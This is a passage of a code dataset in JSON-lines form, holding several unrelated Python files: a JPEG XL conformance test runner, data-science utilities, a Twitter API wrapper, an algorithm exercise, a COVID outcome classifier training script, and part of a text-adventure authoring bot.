test_dir = os.path.join(corpus_dir, test_id)\n\n with open(os.path.join(test_dir, 'test.json'), 'r') as f:\n descriptor = json.load(f)\n if 'sha256sums' in descriptor:\n del descriptor['sha256sums']\n\n exact_tests = []\n\n with tempfile.TemporaryDirectory(prefix=test_id) as work_dir:\n input_filename = os.path.join(test_dir, 'input.jxl')\n pixel_prefix = os.path.join(work_dir, 'decoded')\n output_filename = pixel_prefix + '_image.npy'\n cmd = shlex.split(args.decoder) + [input_filename, output_filename]\n cmd_jpeg = []\n if 'preview' in descriptor:\n preview_filename = os.path.join(work_dir,\n 'decoded_preview.npy')\n cmd.extend(['--preview_out', preview_filename])\n if 'reconstructed_jpeg' in descriptor and not args.lax:\n jpeg_filename = os.path.join(work_dir, 'reconstructed.jpg')\n cmd_jpeg = shlex.split(args.decoder) + [input_filename, jpeg_filename]\n exact_tests.append(('reconstructed.jpg', jpeg_filename))\n if 'original_icc' in descriptor and not args.lax:\n decoded_original_icc = os.path.join(\n work_dir, 'decoded_org.icc')\n cmd.extend(['--orig_icc_out', decoded_original_icc])\n exact_tests.append(('original.icc', decoded_original_icc))\n meta_filename = os.path.join(work_dir, 'meta.json')\n cmd.extend(['--metadata_out', meta_filename])\n cmd.extend(['--icc_out', pixel_prefix + '.icc'])\n cmd.extend(['--norender_spotcolors'])\n\n print(f\"Running: {cmd}\", flush=True)\n test_dump[\"cmd\"] = cmd\n if subprocess.call(cmd) != 0:\n test_dump.update(Failure(\n 'Running the decoder (%s) returned error' % ' '.join(cmd)))\n results.append(test_dump)\n continue\n if cmd_jpeg:\n print(f\"Running: {cmd_jpeg}\", flush=True)\n if subprocess.call(cmd_jpeg) != 0:\n test_dump.update(Failure(\n 'Running the decoder (%s) returned error' %\n ' '.join(cmd_jpeg)))\n results.append(test_dump)\n continue\n\n try_color_transform = True\n # Run validation of exact files.\n test_dump[\"exact_tests\"] = []\n for reference_basename, decoded_filename in exact_tests:\n reference_filename = os.path.join(test_dir,\n reference_basename)\n test_dump[\"exact_tests\"].append(reference_basename)\n binaries_identical = CompareBinaries(reference_filename, decoded_filename)\n\n test_dump[f\"compare_binary_{reference_basename}\"] = binaries_identical\n # If the original.icc differs from the reference, we don't try even try to\n # apply lcms2.convert_pixels in CompareNPY. We record this here in\n # `try_color_transform` and use it when calling CampareNPY.\n if reference_basename == 'original.icc':\n try_color_transform = binaries_identical['success']\n\n # Validate metadata.\n with open(meta_filename, 'r') as f:\n meta = json.load(f)\n\n test_dump[\"check_meta\"] = CheckMeta(meta, descriptor)\n\n # Pixel data.\n decoded_icc = pixel_prefix + '.icc'\n with open(decoded_icc, 'rb') as f:\n decoded_icc = f.read()\n reference_icc = os.path.join(test_dir, \"reference.icc\")\n with open(reference_icc, 'rb') as f:\n reference_icc = f.read()\n\n reference_npy = os.path.join(test_dir, 'reference_image.npy')\n decoded_npy = os.path.join(work_dir, 'decoded_image.npy')\n\n if not os.path.exists(decoded_npy):\n test_dump.update(\n Failure('File not decoded: decoded_image.npy'))\n results.append(test_dump)\n continue\n\n reference_npy = numpy.load(reference_npy)\n decoded_npy = numpy.load(decoded_npy)\n\n test_dump[\"num_frames\"] = len(descriptor['frames'])\n for i, fd in enumerate(descriptor['frames']):\n test_dump[f\"frame{i}_compare_npy\"] = CompareNPY(reference_npy, reference_icc, decoded_npy,\n decoded_icc if try_color_transform else reference_icc,\n i, fd['rms_error'], fd['peak_error'], args.lax)\n\n if 'preview' in descriptor:\n reference_npy = os.path.join(test_dir,\n 'reference_preview.npy')\n decoded_npy = os.path.join(work_dir, 'decoded_preview.npy')\n\n if not os.path.exists(decoded_npy):\n test_dump.update(Failure(\n 'File not decoded: decoded_preview.npy'))\n\n reference_npy = numpy.load(reference_npy)\n decoded_npy = numpy.load(decoded_npy)\n test_dump[\"preview\"] = CompareNPY(reference_npy, reference_icc, decoded_npy,\n decoded_icc, 0,\n descriptor['preview']['rms_error'],\n descriptor['preview']['peak_error'])\n test_dump[\"success\"] = ((test_dump[\"check_meta\"][\"success\"] or args.lax) and\n all(\n test_dump[f\"compare_binary_{reference_basename}\"][\"success\"]\n for reference_basename in test_dump[\"exact_tests\"]) and\n all(test_dump[f\"frame{i}_compare_npy\"][\"success\"]\n for i in range(test_dump[\"num_frames\"])) and\n test_dump.get(\"preview\", {}).get(\n \"success\", True)\n )\n results.append(test_dump)\n if args.results:\n with open(args.results, 'w') as f:\n json.dump(results, f)\n return all(test_dump[\"success\"] for test_dump in results)\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('--decoder',\n metavar='DECODER',\n required=True,\n help='path to the decoder binary under test.')\n parser.add_argument(\n '--corpus',\n metavar='CORPUS',\n required=True,\n help=('path to the corpus directory or corpus descriptor'\n ' text file.'))\n parser.add_argument(\n '--results',\n metavar='RESULTS',\n required=False,\n help=('path to the json file where results should be stored'))\n parser.add_argument(\n '--lax',\n required=False,\n action='store_true',\n help=('lax mode, do not check original.icc and clamp values to 0..1 before comparing'))\n args = parser.parse_args()\n if not ConformanceTestRunner(args):\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"libjxl/conformance","sub_path":"scripts/conformance.py","file_name":"conformance.py","file_ext":"py","file_size_in_byte":12631,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"28122449291","text":"from os import path\nimport logging\nimport pathlib\nimport yaml\nimport numpy as np\nimport pandas as pd\n\ndef init(file_name):\n run_name = pathlib.Path(file_name).stem\n formatter = f'%(asctime)s %(levelname)s {run_name} %(message)s'\n logging.basicConfig(filename=get_path('../logs/messages.log'), format=formatter, level=logging.INFO)\n logging.info('start')\n return run_name\n\n# \"FAST PANDAS LEFT JOIN (357x faster than pd.merge)\" by tkm2261\n# https://www.kaggle.com/tkm2261/fast-pandas-left-join-357x-faster-than-pd-merge\ndef fast_merge(left, right, key):\n return pd.concat([left.reset_index(drop=True), right.reindex(left[key].values).reset_index(drop=True)], axis=1)\n\ndef get_path(filename):\n return path.join(path.dirname(__file__), filename)\n\n# \"Elo world\" by FabienDaniel\n# https://www.kaggle.com/fabiendaniel/elo-world\ndef reduce_mem_usage(df, verbose=True):\n numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']\n start_mem = df.memory_usage().sum() / 1024**2\n for col in df.columns:\n col_type = df[col].dtypes\n if col_type in numerics:\n c_min = df[col].min()\n c_max = df[col].max()\n if str(col_type)[:3] == 'int':\n if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n df[col] = df[col].astype(np.int8)\n elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n df[col] = df[col].astype(np.int16)\n elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n df[col] = df[col].astype(np.int32)\n elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n df[col] = df[col].astype(np.int64)\n else:\n if c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n df[col] = df[col].astype(np.float16)\n elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n df[col] = df[col].astype(np.float32)\n else:\n df[col] = df[col].astype(np.float64)\n end_mem = df.memory_usage().sum() / 1024**2\n if verbose: print('Mem. usage decreased to {:5.2f} Mb ({:.1f}% reduction)'.format(end_mem, 100 * (start_mem - end_mem) / start_mem))\n return df\n\nclass AttributeDict(object):\n def __init__(self, obj):\n self.obj = obj\n\n def __getstate__(self):\n return self.obj.items()\n\n def __setstate__(self, items):\n if not hasattr(self, 'obj'):\n self.obj = {}\n for key, val in items:\n self.obj[key] = val\n\n def __getattr__(self, name):\n if name in self.obj:\n return self.obj.get(name)\n else:\n return None\n\n def fields(self):\n return self.obj\n\n def keys(self):\n return self.obj.keys()\n \n def items(self):\n return self.obj.items()\n","repo_name":"marisakamozz/riiid","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"40259005675","text":"\"\"\"\nThis file contains the main functions to access Twitter.\nIn order to see sample calls to these functions, refere to\nexample.py and test_twitter.py\n\nThe class Twitter provides methods to communicate with Twitter.\nThese are based on end points provided by\n\n-Rakshit Agrawal, 2016\n\"\"\"\nimport os\nimport unittest\nimport datetime\nimport requests\nfrom pprint import pprint\nfrom requests_oauthlib import OAuth1\nfrom twitter_public_api import URL\n\nDATE_FORMAT = \"%a, %d %b %Y %H:%M:%S\"\n\n\ndef _timenow():\n return datetime.datetime.utcnow().strftime(DATE_FORMAT)\n\n\nclass Twitter(object):\n \"\"\"\n Class for Twitter action functions.\n\n Functions in this class need tokens from twitter.\n User needs to sign up with an account on twitter and\n then generate the required tokens.\n\n https://dev.twitter.com/oauth/overview/application-owner-access-tokens\n\n \"\"\"\n\n def __init__(self, consumer_key, consumer_secret, access_token, access_token_secret):\n \"\"\"\n Initialize the authentication paramters\n Calls to twitter will not succeed in the absence of any parameter\n\n \"\"\"\n self.consumer_key = consumer_key\n self.consumer_secret = consumer_secret\n self.access_token = access_token\n self.access_token_secret = access_token_secret\n\n def _auth(self):\n \"\"\"\n Provide the OAuth signature using user app credentials\n :return: oauth signature\n \"\"\"\n return OAuth1(self.consumer_key, self.consumer_secret, self.access_token, self.access_token_secret)\n\n def get_account_settings(self, **args):\n \"\"\"\n Get settings for user account.\n\n (Under construction)\n\n :return:Dictionary of settings provided by Twitter\n :rtype: dict\n \"\"\"\n url = URL['account_settings']\n settings = requests.get(url=url, auth=self._auth())\n\n if settings.status_code == requests.codes.ok:\n return settings.json()\n\n def get_user_timeline(self, user, using_id=False, count=10):\n \"\"\"\n Get timeline for user specified by the user parameter.\n Can use either user's screen_name or user_id\n\n :param user: screen_name (twitter handle) or user_id for the user. user_id will be used only if use_id is set to True\n :type user: str\n :param use_id: Use the User ID if this value is set to True. Default is False\n :type use_id: bool\n :param count: Number of tweets to fetch from the timeline\n :type count: int\n :return: List of tweets on user timeline starting from latest\n :rtype: list\n \"\"\"\n url = URL['user_timeline']\n if using_id:\n params = dict(user_id=user)\n else:\n params = dict(screen_name=user)\n\n params['count'] = count\n\n timeline = requests.get(url=url, auth=self._auth(), params=params)\n\n if timeline.status_code == requests.codes.ok:\n return timeline.json()\n\n def post_media(self, media_list):\n \"\"\"\n Post media on twitter.\n Follows the Media API by twitter (https://dev.twitter.com/rest/media)\n\n This function is used by post_twitter for uploading media\n\n :param media_list: List of media file names (relative paths)\n :type media_list: list\n :return: List of media upload dicts\n :rtype: list\n \"\"\"\n\n media_url = URL['media_upload']\n media_dicts = []\n\n for item in media_list:\n with open(item, 'rb') as mediafile:\n # Upload media to Twitter and get its ID\n media = requests.post(url=media_url, files=dict(media=mediafile), auth=self._auth())\n\n if media.status_code == requests.codes.ok:\n media_dicts.append(media.json())\n return media_dicts\n\n def post_tweet(self, text, media=None, latlong=None):\n \"\"\"\n Post a tweet.\n A tweet can contain\n - only text\n - text and location\n - text, media and location\n\n Based on https://dev.twitter.com/rest/reference/post/statuses/update\n\n :param text: Tweet text\n :type text: str\n :param media: List of media items to be added with tweet\n :type media: list\n :param latlong: Tuple with latitutde and longitude in the format (latitude, longitude).\n This feature will only work if location settings are turned on for the user account. To set them on, go to https://twitter.com/settings/security\n In the Security and privacy tab, select the Tweet location feature to turn it on.\n :type latlong: tuple\n :return: JSON response from twitter\n :rtype: dict\n \"\"\"\n url = URL['post_tweet']\n params = dict(status=text)\n\n # Upload media to Twitter if any\n if media is not None:\n media_dicts = self.post_media(media)\n params['media_ids'] = \",\".join([i.get('media_id_string') for i in media_dicts])\n\n # Add location if provides\n if latlong is not None:\n params['lat'], params['long'] = latlong\n\n # Post tweet\n tweet = requests.post(url=url, auth=self._auth(), params=params)\n\n if tweet.status_code == requests.codes.ok:\n return tweet.json()\n\n def delete_tweet(self, tweet_id):\n \"\"\"\n Delete tweet with the tweet ID\n Tweet ID should belong to a tweet by the user signed up with Access Tokens\n\n :param tweet_id: ID of tweet to be deleted\n :type tweet_id: int\n :return:\n :rtype:\n \"\"\"\n url = URL['destroy_tweet'] % (tweet_id)\n deleted_tweet = requests.post(url=url, auth=self._auth())\n\n return deleted_tweet.json()\n","repo_name":"rakshit-agrawal/python-twitter-apps","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":5708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17516615880","text":"import sys\n\nsys.stdin = open('input.txt')\n\nT = int(input())\n\ndef check(area):\n i = area // 10 # 가로를 index로 사용하기 위해 10으로 나눔\n stack = [0, 1, 3] + [0]*(i -2) # 초기값 설정\n for k in range(3, i + 1):\n stack[k] = stack[k - 2] * 2 + stack[k - 1] # 값들을 구해보니 점화식이 f[n] = f[n-2]*2 + f[n-1] 이였다.\n return stack[i] # 끝 값 리턴\n\nfor tc in range(1, T + 1):\n N = int(input())\n rlt = check(N)\n print(f'#{tc} {rlt}')","repo_name":"Sangtaek-Lee/Algorithm","sub_path":"problem/0222/4869/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1015908396","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport pickle\nimport time\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.ensemble import GradientBoostingClassifier, RandomForestClassifier\nfrom sklearn.metrics import classification_report\nfrom sklearn.model_selection import train_test_split, GridSearchCV, cross_val_score, validation_curve\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report, roc_curve, roc_auc_score, auc\nfrom sklearn.datasets import load_digits\nfrom sklearn.svm import SVC\nfrom sklearn.compose import make_column_transformer\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import OneHotEncoder, label_binarize\nfrom sklearn.metrics import plot_confusion_matrix\n\n\n\ndef convert_string_numerical_categorical(dataframe, attributes):\n le = LabelEncoder()\n df = dataframe.copy()\n for attribute in attributes:\n le.fit(df[attribute].unique())\n df[attribute] = le.transform(df[attribute].to_list())\n return df\n\n\ndef train_with_estimator(n):\n df = pd.read_csv('https://raw.githubusercontent.com/mehtabgill/cmpt459_itr_1/main/data/joined_cases_train.csv')\n df = df.drop([\"latitude\", \"longitude\", \"Combined_Key\", \"country\"], axis=1)\n y = df.pop('outcome')\n x = df\n\n X_train, X_test, Y_train, Y_test = train_test_split(x, y, test_size=0.2, random_state=0)\n rf1 = RandomForestClassifier(\n n_estimators=100,\n criterion=\"gini\",\n max_depth=None,\n min_samples_split=2,\n min_samples_leaf=1,\n min_weight_fraction_leaf=0.0,\n max_features=\"auto\",\n max_leaf_nodes=None,\n min_impurity_split=None,\n bootstrap=True,\n )\n\n onehot_encoder = OneHotEncoder()\n onehot_encoder.fit_transform(df[['sex']])\n\n column_trans = make_column_transformer(\n (OneHotEncoder(), ['sex']),\n remainder='passthrough'\n )\n\n column_trans.fit_transform(df)\n\n pipe1 = make_pipeline(column_trans, rf1)\n\n pipe1.fit(X_train, Y_train)\n file_path = \"../models/random_forest_classifier.pkl\"\n with open(file_path, 'wb') as fid:\n pickle.dump(pipe1, fid)\n\n pipe1 = pickle.load(open(file_path, 'rb'))\n\n rocs = {label: [] for label in y.unique()}\n\n # for label in y.unique():\n # pipe.fit(X_train, Y_train)\n # rf_probs = pipe.predict_proba(X_test)\n\n rf_probs = pipe1.predict_proba(X_test)\n rf_pred = pipe1.predict(X_test)\n\n rf_pred_train = pipe1.predict(X_train)\n\n rf_auc = roc_auc_score(Y_test, rf_probs, multi_class='ovr')\n print('Random Forest AUC: %.3f' % (rf_auc))\n\n n_classes = 4\n fpr = dict()\n tpr = dict()\n roc_auc = dict()\n L = [\"deceased\", \"hospitalized\", \"nonhospitalized\", \"recovered\"]\n binarized_y = label_binarize(Y_test, classes=[\"deceased\", \"hospitalized\", \"nonhospitalized\", \"recovered\"])\n for i in range(n_classes):\n fpr[i], tpr[i], _ = roc_curve(binarized_y[:, i], rf_probs[:, i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n\n plt.plot(fpr[i], tpr[i], label='ROC curve (area = %0.2f)' % roc_auc[i])\n plt.legend(L)\n\n print(\"Result on the test data\")\n print(confusion_matrix(Y_test, rf_pred))\n print(classification_report(Y_test, rf_pred, digits=3))\n\n print(\"Result on the training data\")\n print(confusion_matrix(Y_train, rf_pred_train))\n print(classification_report(Y_train, rf_pred_train, digits=3))\n\n # cross-validation\n\n cross_validation_accuracy = cross_val_score(pipe1, x, y).mean()\n print(\"The Cross Validation accuracy is %.3f\" % (cross_validation_accuracy))\n\n\ndef detect_overfit():\n df = pd.read_csv('https://raw.githubusercontent.com/mehtabgill/cmpt459_itr_1/main/data/joined_cases_train.csv')\n df = df.drop([\"latitude\", \"longitude\", \"Combined_Key\", \"country\"], axis=1)\n y = df.pop('outcome')\n x = df\n #\n # X_train, X_test, Y_train, Y_test = model_selection.train_test_split(x, y, test_size=0.2, random_state=0)\n\n onehot_encoder = OneHotEncoder()\n onehot_encoder.fit_transform(df[['sex']])\n\n column_trans = make_column_transformer(\n (OneHotEncoder(), ['sex']),\n remainder='passthrough'\n )\n\n x = column_trans.fit_transform(df)\n\n parameter_range = np.arange(1, 1000, 100)\n\n train_score, test_score = validation_curve(RandomForestClassifier(), x, y,\n param_name=\"n_estimators\",\n param_range=parameter_range,\n cv=5, scoring=\"accuracy\")\n\n mean_train_score = np.mean(train_score, axis=1)\n std_train_score = np.std(train_score, axis=1)\n mean_test_score = np.mean(test_score, axis=1)\n std_test_score = np.std(test_score, axis=1)\n plt.plot(parameter_range, mean_train_score,\n label=\"Training Score\", color='b')\n plt.plot(parameter_range, mean_test_score,\n label=\"Cross Validation Score\", color='g')\n\n\ndef run_random_forest():\n train_with_estimator(100)\n # train_with_estimator(200)\n # train_with_estimator(500)\n # train_with_estimator(1000)\n\n\nif __name__ == '__main__':\n\n # RANDOM FOREST :::: \n print('--- Starting RANDOM FOREST CLASSIFIER --------')\n run_random_forest()\n\n # GB MODEL :::\n # load data\n df = pd.read_csv('https://raw.githubusercontent.com/mehtabgill/cmpt459_itr_1/main/data/joined_cases_train.csv')\n # Convert string data to numeric data\n string_categorical_attributes = ['sex', 'Combined_Key', 'country', 'outcome']\n df = convert_string_numerical_categorical(dataframe=df, attributes=string_categorical_attributes)\n\n outcomes = df['outcome']\n df = df.drop(columns=['outcome'])\n\n # 2.1 split \n x_train, x_test, y_train, y_test = train_test_split(df, outcomes, train_size=0.80, test_size=0.20, random_state=42)\n\n #2.2\n # LightGBM\n print('--- Starting GB Classifier --------')\n start_time = time.time()\n GBM_clsf = GradientBoostingClassifier(learning_rate=0.9, max_depth=8, n_estimators=10, random_state=42)\n \n GBM_clsf.fit(x_train, y_train)\n print('------- GB model ready! Now Saving... ------')\n pickle.dump(GBM_clsf, open('../models/GBM.pkl', 'wb'))\n \n # 2.3 \n # Evaluation\n loaded_GBM = pickle.load(open('../models/GBM.pkl', 'rb'))\n print('------- GB Model loaded! -------------------')\n \n print('------ GB Model Classification report - VALIDATION Data -----------')\n loaded_GBM_result_test = loaded_GBM.score(x_test, y_test)\n print('------- GB Model VALIDATION data accuracy -----> ', loaded_GBM_result_test)\n print('------- GB Model VALIDATION data Confusion Matrix--------')\n matrix = plot_confusion_matrix(loaded_GBM, x_test, y_test,\n cmap=plt.cm.Blues,\n normalize='true')\n plt.title('Confusion matrix for our classifier')\n plt.savefig('../plots/GBM_validation_c_matrix.png')\n plt.show()\n print('------- GB Model VALIDATION data Classification Report --------')\n report_loaded_gbm_test = classification_report(y_test, loaded_GBM.predict(x_test), target_names=['deceased', 'hospitalized', 'nonhospitalized', 'recovered'])\n print(report_loaded_gbm_test)\n\n\n print('------ GB Model Classification report - TRAIN Data -----------')\n loaded_GBM_result_train = loaded_GBM.score(x_train, y_train)\n print('------- GB Model TRAIN data accuracy -----> ', loaded_GBM_result_train)\n print('------- GB Model TRAIN data Confusion Matrix --------')\n matrix = plot_confusion_matrix(loaded_GBM, x_train, y_train,\n normalize='true')\n plt.title('Confusion matrix for our classifier')\n plt.savefig('../plots/GBM_train_c_matrix.png')\n plt.show()\n print('------- GB Model TRAIN data Classification Report --------')\n report_loaded_gbm_train = classification_report(y_train, loaded_GBM.predict(x_train), target_names=['deceased', 'hospitalized', 'nonhospitalized', 'recovered'])\n print(report_loaded_gbm_train)\n\n\n # !!!! IMPORTANT !!!!! VALIDATION CURVE TAKES AROUND 3HRS TO BUILD, therefore the code for it commented out. Produced result is saved in ./plots/GBM_validation_curve.png\n\n # 2.4\n # plot validation curve for GB model\n # n_estimators_range = list(range(100, 1000, 250))\n\n # # n_jobs = -1 means use all cores of the computer\n # train_scores, test_scores = validation_curve(GradientBoostingClassifier(), df, outcomes, param_name=\"n_estimators\", param_range=n_estimators_range,\n # scoring=\"accuracy\", n_jobs=-1)\n # mean_train = np.mean(train_scores, axis=1)\n # std_train = np.std(train_scores, axis=1)\n # mean_test = np.mean(test_scores, axis=1)\n # std_test = np.std(test_scores, axis=1)\n\n # plt.title(\"Validation Curve with GBM\")\n # plt.xlabel(\"n_estimators\")\n # plt.ylabel(\"Score\")\n # plt.plot(n_estimators_range, mean_train, label=\"Training score\")\n # plt.fill_between(n_estimators_range, mean_train - std_train,\n # mean_train + std_train,\n # color=\"yellow\")\n # plt.plot(n_estimators_range, mean_test, label=\"Cross-validation score\")\n # plt.fill_between(n_estimators_range, mean_test - std_test,\n # mean_test + std_test,\n # color=\"red\")\n # plt.legend(loc=\"best\")\n # plt.savefig('../plots/GBM_validation_curve.png')\n # plt.show()\n\n \n\n\n\n","repo_name":"mehtabgill/cmpt459_itr_1","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26112919758","text":"import json\n\n\n# Things you cannot do with the adventure writer:\n# Trigger\n# proper secret descriptions relative to location or person\n\n# Two objects should not be able to have the same name.\n\n\n# when added to where to find from secrets need to check whether objects exist or not\n\n\ndef talk_and_write(message, author):\n with open('user_written_adventures/adventures.json', 'r') as f:\n data = json.load(f)\n if author not in data.keys():\n return 'Enter \"/open name_of_adventure\" to create a new adventure or reopen an old one.'\n elif data[author]['background']['name_of_adventure'] is None:\n return 'Enter \"/open name_of_adventure\" to create a new adventure or reopen an old one.'\n object_of_interest = data[author]['background']['object_of_interest']\n name_of_adventure = data[author]['background']['name_of_adventure']\n adventure = data[author][name_of_adventure]\n object_type = data[author]['background']['object_type']\n keyword_dict = {'npcs': {'name': '', 'hostile': 'False', 'conditions': [{}], 'description': ''},\n 'locations': {'name': '', 'conditions': [{}], 'description': ''},\n 'secrets': {'name': '', 'where_to_find': [], 'relevance': '1', 'positive': 'True',\n 'found': 'False', 'conditions': [{}], 'description': '', 'clue': 'True'}}\n if object_of_interest in keyword_dict.keys():\n if message == '/done':\n index = list(keyword_dict.keys()).index(object_of_interest)\n if index == 2:\n object_of_interest = 'starting_conditions'\n answer = f'Please enter now the starting conditions of your adventure. This means you can enter a ' \\\n f'location and any amount of npcs. The adventure will then start at this location and ' \\\n f'with these npcs present. When you are done or don\\'t want to set starting conditions just ' \\\n f'enter \"/done\".'\n else:\n object_of_interest = list(keyword_dict.keys())[index + 1]\n answer = f'Please enter now all your {object_of_interest} the same way.'\n data[author]['background']['object_of_interest'] = object_of_interest\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n return answer\n if message not in data[author][name_of_adventure][object_of_interest].keys():\n message = message.lower().replace(' ', '_')\n data[author][name_of_adventure][object_of_interest].update({message: keyword_dict[object_of_interest]})\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n return f'Received {object_of_interest[:-1]} \"{message}\".'\n else:\n return f'This {object_of_interest[:-1]} already exists.'\n else:\n answer = ''\n if object_of_interest == 'starting_conditions':\n if message in list(adventure['npcs'].keys()) + list(adventure['locations'].keys()):\n if message in adventure['locations'].keys():\n data[author][name_of_adventure]['starting_conditions'][0] = message\n answer = f'Set location \"{message}\" to starting conditions.'\n else:\n data[author][name_of_adventure]['starting_conditions'][1].append(message)\n answer = f'Added npc \"{message}\" to starting conditions.'\n elif message == '/done':\n if data[author][name_of_adventure]['starting_conditions'][1] == []:\n data[author][name_of_adventure]['starting_conditions'][1].append(None)\n object_of_interest = list(data[author][name_of_adventure]['npcs'].keys())[0] # adventure needs at least one npc\n data[author]['background']['object_of_interest'] = object_of_interest\n data[author]['background']['object_type'] = 'npcs'\n answer = f'Starting conditions set as location: ' \\\n f'\"{adventure[\"starting_conditions\"][0]}\" and npcs: \"{adventure[\"starting_conditions\"][1]}\".'\n instruction = f'You are right now editing \"{object_of_interest}\".\\n\\tTo change the object to edit ' \\\n f'enter: \"/new_object_to_edit\".\\n\\tTo set the attributes of this object ' \\\n f'enter \"attribute value\" with value being the value you want to set for this attribute.'\n answer = f'{answer}\\n\\n{instruction}'\n else:\n answer = 'This is not a valid condition. Type /done to end.'\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n return answer\n if message.split()[0][1:] in keyword_dict[object_type].keys() or not message.startswith('/'):\n full_object = data[author][name_of_adventure][object_type][object_of_interest]\n keyword = message.split()[0]\n if keyword.startswith('/'):\n keyword = keyword[1:]\n elif keyword.endswith(':'):\n keyword = keyword[:-1]\n if keyword not in full_object.keys():\n answer = 'Error entered attribute not in attributes of this object.\\n\\n'\n else:\n message = message.split()\n value = message[-1]\n if keyword == 'where_to_find':\n data[author][name_of_adventure][object_type][object_of_interest][keyword].append(value)\n elif keyword == 'conditions':\n data[author][name_of_adventure][object_type][object_of_interest][keyword][0].update({value: True})\n elif keyword == 'name' or keyword == 'description':\n value = message[1]\n for i in message[2:]:\n value = value + ' ' + i\n data[author][name_of_adventure][object_type][object_of_interest][keyword] = value\n else:\n data[author][name_of_adventure][object_type][object_of_interest][keyword] = value\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n else:\n found = False\n for i in ['npcs', 'locations', 'secrets']:\n for j in data[author][name_of_adventure][i].keys():\n if j == message[1:]:\n found = True\n object_of_interest = j\n object_type = i\n full_object = data[author][name_of_adventure][object_type][object_of_interest]\n data[author]['background']['object_of_interest'] = object_of_interest\n data[author]['background']['object_type'] = object_type\n with open('user_written_adventures/adventures.json', 'w') as f:\n json.dump(data, f, indent=4)\n break\n if found:\n break\n if not found:\n if message == '/done':\n missing = check_for_completeness(author, name_of_adventure)\n if isinstance(missing, list):\n write_adventure_from_data(author, name_of_adventure, adventure, missing) # set adventure in data to None\n data[author]['background']['name_of_adventure'] = None\n return True # send full document?\n else:\n return f'/adventure writer/{name_of_adventure}/{object_type}/{object_of_interest}\\n\\n{missing}'\n all_objects = 'List of all objects:'\n for i in ['npcs', 'locations', 'secrets']:\n for j in data[author][name_of_adventure][i].keys():\n all_objects = f'{all_objects}\\n\\t{j}'\n return f'Error object not found.\\n\\n{all_objects}'\n answer = f'{answer}/adventure writer/{name_of_adventure}/{object_type}/{object_of_interest}\\n\\n'\n for i in full_object.keys():\n answer = f'{answer}{i}: {full_object[i]}\\n'\n instruction = f'You are right now editing \"{object_of_interest}\".\\n\\tTo change the object to edit ' \\\n f'enter: \"/new_object_to_edit\".\\n\\tT set the attributes of this object ' \\\n f'enter \"attribute value\" with value being the value you want to set for this attribute.'\n answer = f'{answer}\\n{instruction}'\n return answer\n\n\ndef check_for_completeness(author, name_of_adventure):\n def list_in_list(list1, list2):\n for element in list1:\n if element not in list2:\n return False\n return True\n\n with open('user_written_adventures/adventures.json', 'r') as f:\n data = json.load(f)\n missing = []\n adventure = data[author][name_of_adventure]\n mandatory = ['name', 'description']\n all_objects = {}\n all_objects.update(adventure['npcs'])\n all_objects.update(adventure['locations'])\n all_objects.update(adventure['secrets'])\n for i in all_objects.keys():\n for j in all_objects[i].keys():\n if j in mandatory and all_objects[i][j] == '':\n missing.append(f'Object with name \"{i}\" is missing parameter \"{j}\".')\n if not missing == []:\n return missing\n validated = []\n for x in all_objects.keys():\n for i in all_objects.keys():\n if i not in validated and list_in_list(all_objects[i]['conditions'][0].keys(), validated):\n if 'where_to_find' in all_objects[i].keys():\n if list_in_list(all_objects[i]['where_to_find'], validated):\n validated.append(i)\n break\n else:\n validated.append(i)\n break\n # now validated should be the perfectly ordered list of object-strings\n if not list_in_list(all_objects.keys(), validated):\n missing = ['There is a logical loop in your adventure. Not everything can be fully defined.\\n']\n for i in all_objects.keys():\n if i not in validated:\n missing.append(f'The object with name \"{i}\" has unvalidated conditions or where to find.')\n answer = ''\n for i in missing:\n answer = f'{answer}{i}\\n'\n answer = f'{answer}\\nTherefore adventure could not be written.'\n return answer\n return validated\n\n\ndef write_adventure_from_data(author, name_of_adventure, adventure, all_objects_in_order):\n obj_commands = ''\n all_list_commands = ''\n all_obj_commands = {}\n for i in ['npcs', 'locations', 'secrets']:\n list_command = ''\n for j in adventure[i].keys():\n parameters = ''\n for k in adventure[i][j].keys(): # conditions need special treatment, removing their string 's\n if k == 'name' or k == 'description':\n parameters = f'{parameters}, {k}=\\'{adventure[i][j][k]}\\''\n elif k == 'conditions':\n parameters = f'{parameters},' + f' {k}={adventure[i][j][k]}'.replace('\\'', '')\n else:\n parameters = f'{parameters}, {k}={adventure[i][j][k]}'\n parameters = parameters[2:]\n all_obj_commands.update({j: f'\\t{j} = adv_str.{i[:-1].upper()}({parameters})\\n'})\n list_command = f'{list_command}, {j}'\n list_command = f'{i} = 